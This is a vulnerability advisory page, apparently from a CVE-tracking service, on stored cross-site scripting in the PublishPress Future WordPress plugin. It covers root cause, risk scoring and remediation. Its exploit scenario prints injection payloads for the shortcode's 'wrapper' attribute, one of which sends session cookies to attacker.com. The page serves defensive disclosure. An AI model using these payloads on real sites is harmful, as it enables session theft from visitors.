Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain admin or delegated author access
-
DeliveryCreate page with malicious [futureaction] shortcode
-
ExploitInject event handler via 'wrapper' parameter
-
ExecutionUser views page
-
PersistJavaScript executes in browser
-
ImpactSession hijacked or malware delivered
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must have authenticated administrator-level access to the WordPress site, or must be a contributor/author with explicit permissions to create or edit shortcodes and pages - a configuration administrators can enable. The [futureaction] shortcode must be used on at least one published page or post for the payload to execute. The vulnerability is not present in draft or unpublished content. No special site configuration or non-default settings are required beyond the plugin being active. The attack does not require user interaction (UI:N) beyond viewing the page. Exploitation is limited to WordPress sites running PublishPress Future version 4.10.0 or earlier. |
| Impact | CVSS 5.5 (Medium) with network vector and low complexity reflects the attack characteristics: remote delivery (AV:N), no special exploit conditions (AC:L), high privileges required (PR:H), no user interaction (UI:N), and cross-site scope (S:C) with limited confidentiality and integrity impact (C:L/I:L). However, this CVSS score understates practical risk in WordPress environments. The stored nature of the XSS means the payload persists in the database and executes for every user viewing the page, creating a site-wide attack surface once injected. The PR:H (high privileges, i.e., administrator) requirement is a significant limiting factor, yet WordPress administrators routinely grant contributor or author roles to untrusted users (freelancers, guest authors, team members), and the CVE explicitly notes administrators can delegate this shortcode functionality to lower-privilege users, effectively lowering the attack barrier. No KEV status, EPSS score, or public POC is provided in the input data, so real-world exploitation likelihood cannot be assessed from authoritative sources. The vulnerability is credible and exploitable but requires administrative account compromise or misuse of trust delegated to lower-privilege roles. |
| Exploit ScenarioDerived | An administrator account is compromised via phishing or weak credentials, or a malicious contributor with delegated shortcode permissions is added to the WordPress site. The attacker creates or edits a page using the [futureaction wrapper='div onclick=alert(document.cookie)'] shortcode. When any user views the page, the injected JavaScript executes in their browser context, stealing session cookies or redirecting to a phishing site. Alternatively, the attacker crafts a payload like wrapper='img src=x onerror=fetch("//attacker.com/steal?cookie="+document.cookie)' to exfiltrate session data. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Stored cross-site scripting (XSS) in PublishPress Future WordPress plugin versions up to 4.10.0 allows authenticated administrators to inject arbitrary JavaScript via the 'wrapper' attribute of the [futureaction] shortcode, which executes in the browsers of all users viewing the affected page. The vulnerability stems from insufficient sanitization: the plugin uses esc_html() to escape the attribute value but then passes it as a bare HTML tag name in a sprintf() call, permitting event handler injection through spaces. Since administrators can delegate this functionality to lower-privileged contributors, the attack surface extends beyond high-privilege users.
RemediationAI
Update PublishPress Future to version 4.10.1 or later immediately. The plugin developer has released patched versions that implement proper output escaping for the 'wrapper' attribute, using functions appropriate for the attribute context (such as esc_attr() for tag attributes in addition to or instead of esc_html()). Administrators should audit any [futureaction] shortcodes in published content and pages to confirm they do not contain suspicious or unexpected wrapper values. If you have delegated shortcode creation or editing permissions to contributors or authors, restrict that delegation to trusted staff members only, or implement a code review process for shortcode usage. If immediate patching is not possible, disable the [futureaction] shortcode functionality until updates can be applied, or prevent lower-privilege users from creating or editing shortcodes in general via role management. Note that disabling the shortcode may affect scheduling features for post expiration, so test in a staging environment first.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The [futureaction] shortcode accepts a 'wrapper' parameter intended to define an HTML element type (e.g., 'div', 'span'). The plugin applies esc_html() to the user-supplied wrapper value, which encodes HTML entity characters (<, >, &, ", ') but does not prevent whitespace or attribute injection. The sanitized value is then used directly in a sprintf() call to construct an opening HTML tag, e.g., sprintf('<%s class="...">', $wrapper). An attacker can inject a value like 'div onclick=alert(1)' which, after esc_html() escapes any entity-encodable characters (of which there are none in this payload), becomes 'div onclick=alert(1)' in the rendered output. This results in a tag like '<div onclick=alert(1) class="...">' - a valid HTML injection vector. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the failure to account for the context in which the escaped value is used. esc_html() is insufficient when the input becomes an unquoted attribute context.
Know when Schedule Post Changes With Publishpress Future gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The Schedule Post Changes With PublishPress Future plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wrapper' attribute of the [futureaction] shortcode in all versions up to, and including, 4.10.0. This is due to insufficient input sanitization on the wrapper attribute. The plugin uses esc_html() to escape the value, but esc_html() only encodes HTML entities and does not prevent attribute injection when the value is used as an HTML tag name in a sprintf() call. An attacker can inject event handler attributes via spaces in the wrapper value. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Since it is also possible for administrators to make this functionality available to lower-privileged users, this introduces the possibility of abuse by contributors.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-27191
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB